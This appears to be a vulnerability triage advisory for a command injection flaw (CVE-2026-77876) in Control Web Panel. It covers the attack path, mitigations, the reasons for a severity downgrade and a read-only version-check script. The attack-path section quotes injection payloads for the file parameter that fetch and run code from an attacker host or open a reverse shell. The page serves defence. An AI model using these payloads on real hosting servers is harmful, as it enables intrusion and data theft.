← Back to Feed CACHED · 2026-11-03 16:37:27 · CACHE_KEY CVE-2026-77876
CVE-2026-77876 · CWE-78 · Disclosed 2026-11-02

Control Web Panel protected_directory OS command injection via file POST parameter in acc=deletedp

ASSESSED — NOISGATE
Vendor
—
—
—
Reassessed
—
—
—
Verdict: —
Do you agree?
01 · The Real Story

A hosting panel that hands the shell a user-supplied filename and asks it to delete a directory

Control Web Panel (CWP) before 1.16 contains CWE-78 OS command injection in the protected_directory user panel module. The acc=deletedp action takes the file POST parameter and passes it unescaped into a shell_exec call, so an attacker can append shell metacharacters such as ; id or $(curl http://attacker/payload|bash) and execute commands under the hosting account's OS identity. This is available on the user panel, typically TCP 2083.

Vendor severity of CRITICAL 9.8 assumes unauthenticated network attack, but the module relies on CWP's dispatcher authentication. Standalone, an attacker needs a valid user-panel account, or the target must also be exposed to the pre-auth dispatch flaws CVE-2026-73695/73696. No public exploit or in-the-wild activity is reported, and EPSS is only 2.2%, so the 9.8 is one notch too high for this isolated CVE unless your deployment exposes user-panel endpoints to untrusted tenants.

"CWP's protected_directory module pipes a POST parameter into shell_exec; any user with panel access owns a shell in the hosting-account context."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Reach the CWP user panel

CWP typically listens on TCP 2083 for user panel HTTPS. If the dispatcher is exposed to the internet or an attacker can reach the internal management network, the protected_directory module is reachable.
Conditions required:
  • CWP user panel port 2083 reachable from attacker position
  • Target running CWP <1.16
Where this breaks in practice:
  • Not all CWP instances are internet-exposed; many are restricted to localhost or trusted IPs
  • Panel may sit behind a VPN or perimeter firewall
Detection/coverage: Shodan/Censys queries for CWP banners on port 2083; firewall/flow logs.
STEP 02

Authenticate to the user panel or ride a pre-auth dispatcher flaw

The protected_directory module normally requires a valid user-panel session. An attacker needs low-privileged hosting account credentials. However, if the host is also vulnerable to CVE-2026-73695/73696, the dispatcher can be bypassed and this step becomes unauthenticated.
Conditions required:
  • Valid user-panel account (low-privilege tenant)
  • OR target also affected by CVE-2026-73695/73696 for unauth dispatch
Where this breaks in practice:
  • Single-admin CWP deployments have no untrusted user accounts; attacker must steal the admin password
  • MFA/IP allowlisting on portal blocks credential stuffing but not a legitimate malicious tenant
Detection/coverage: CWP access logs, failed-login alerts, session anomaly detection.
STEP 03

Submit malicious file parameter in acc=deletedp

POST to the protected_directory module action acc=deletedp with file set to something like ; bash -i >& /dev/tcp/attacker/443 or ; curl http://attacker/payload|bash. The application concatenates the parameter into a shell command without escaping.
Conditions required:
  • CWP <1.16 code path reached
  • Attacker can craft arbitrary POST body; any CSRF token must be valid
Where this breaks in practice:
  • A WAF or mod_security may catch shell metacharacters but bypasses are common
  • The action may require an existing protected directory entry; attacker can create one first if needed
Detection/coverage: Web-server/panel request logs, WAF pattern hits for ;, $(), backticks.
STEP 04

Execute OS commands as hosting account

The shell_exec call runs the injected command as the hosting account's OS identity, giving file access to that tenant's web roots, databases via config files, and a shell foothold on the server. It is not CWP root/admin context on its own.
Conditions required:
  • No OS-level sandbox restricting hosting account
  • shell_exec not disabled
Where this breaks in practice:
  • Command execution is non-root; cross-tenant access requires a second priv-esc bug
  • Hosting account might be a low-value static site
Detection/coverage: EDR, auditd process-tree, network egress to C2, PHP/bash process anomalies.
03 · Compensating Control

1
HIGH 7.8→IGNORE 0.0
SEVERITY REDUCED
Patch CWP to 1.16 or latest — Apply vendor patch immediately if internet-exposed; at the HIGH noisgate remediation SLA, complete within 180 days. This removes the vulnerable code path.
2
HIGH 7.8→HIGH 7.0
Restrict user-panel access to trusted IPs/VPN — Deploy within 30 days under the noisgate mitigation SLA for HIGH; block TCP 2011-2023 and 2082-2084 at edge unless the CWP server itself is unreachable from untrusted networks.
3
HIGH 7.8→HIGH 7.5
Enforce MFA/SSO on CWP user panel — Reduces credential-stuffing risk but a hostile tenant with own credentials can still exploit; add IP allowlisting and short-lived sessions.
4
HIGH 7.8→HIGH 8.0
Deploy detection rules for acc=deletedp and shell metacharacters — Log and alert on POSTs to protected_directory with ;, $(), backticks; use WAF/mod_security, EDR and CWP access logs. Does not prevent exploitation but shortens response.
What doesn't work
  • CSRF tokens: an authenticated attacker can fetch a valid token and submit the POST just like the UI.
  • mod_security generic command injection rules: often evaded by encoding/concatenation; not sufficient alone.
  • chroot/suexec for PHP: the vulnerability is in CWP's own code calling shell_exec; unless shell_exec is disabled for the hosting account, chroot may not block arbitrary command execution.
04 · Intelligence Metadata

The supporting signals.

In-the-wild statusNone reported; no known campaigns or KEV listing as of 2026-11-02
Proof-of-concept availabilityNo public exploit, no GitHub repos named after the CVE, no ExploitDB/nuclei template seen in consulted sources
EPSS0.02158 (2.2%), 82nd percentile — low predicted exploitation
KEV statusNot listed in CISA KEV (as of 2026-11-02)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — PR:N implies no privileges, but the module ordinarily requires a user-panel session
Affected versionsControl Web Panel < 1.16
Patch/fixed versionUpgrade to CWP 1.16 or later
ExposureCWP user panel commonly on TCP 2083; no Shodan/Censys count in provided data, but CWP panels are historically internet-exposed
Disclosure/reportingDisclosed 2026-11-02; CVE assigned by VulnCheck CNA; no individual researcher named in consulted sources

Sources.

  1. CVE.org record
  2. CIRCL Vulnerability-Lookup
  3. Rapid7 vulnerability database
  4. VulDB entry
  5. Mallory AI vulnerability report
  6. Glexia threat intelligence
  7. NVD CVE page
05 · The Call

Final Verdict
↓ DOWNGRADED to HIGH (7.8/10)

Why this verdict

  • Attack prerequisite: Standalone exploitation requires a valid CWP user-panel session; the endpoint is normally behind the dispatcher's authentication. That's a low-privileged remote attacker, not an anonymous internet attacker — one major step down from the 9.8 CRITICAL baseline.
  • Blast radius: The command executes as the hosting account OS identity, not the CWP root/admin service. On its own it does not achieve root, domain, or fleet-wide compromise.
  • Role multiplier: Typical single-admin CWP is a single-host compromise; in shared-hosting multi-tenant CWP it breaks tenant isolation for any account that can log into user panel. The worst plausible outcome is tenant-level data egress/website takeover, not domain/fleet/supply chain, so the floor stays below CRITICAL, but the affected role is internet-facing, which keeps it HIGH.
  • Friction adjustments: Starting from the 9.8 vendor baseline, subtract for the authentication requirement and non-root context, add back for trivial command injection and internet exposure. No public PoC, no observed in-the-wild exploitation, EPSS 2.2%, and not KEV-listed dampen urgency but not severity.

Why not higher?

Not CRITICAL because this CVE does not by itself provide unauthenticated access or root/domain-equivalent impact. The command injection runs under the hosting account identity, and reaching it normally requires a valid user-panel session. No active exploitation or public weaponization is known, so a 3-day CRITICAL SLA would over-react unless your CWP instance is known to be affected by CVE-2026-73695/73696.

Why not lower?

Not MEDIUM because CWP user panel is an internet-facing control plane in many deployments, and the injection is a direct, low-complexity shell_exec after authentication. In shared hosting environments, any low-privilege tenant can use this to break isolation, steal site data, or pivot with a second priv-esc bug.

06 · Verification

Crowdsourced verification payload.

Run on the CWP host as root or a user with read access to /usr/local/cwpsrv. Invoke: bash cve-2026-77876-check.sh; no arguments needed. It checks CWP version and exits 0=PATCHED, 1=VULNERABLE, 3=UNKNOWN.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# CVE-2026-77876 check for Control Web Panel
# Run on the CWP host; requires read access to /usr/local/cwpsrv.
set -u
version=""
for f in /usr/local/cwpsrv/version /usr/local/cwpsrv/var/version /usr/local/cwpsrv/version.txt; do
  if [ -r "$f" ]; then
    version=$(grep -Eo '[0-9]+\.[0-9]+(\.[0-9]+)?' "$f" | head -n1)
    [ -n "$version" ] && break
  fi
done
if [ -z "$version" ]; then
  echo "UNKNOWN: could not determine CWP version"
  exit 3
fi
if printf '%s\n' "$version" "1.16" | sort -V | head -n1 | grep -q '^1\.16$'; then
  echo "PATCHED: CWP version $version"
  exit 0
else
  echo "VULNERABLE: CWP version $version"
  exit 1
fi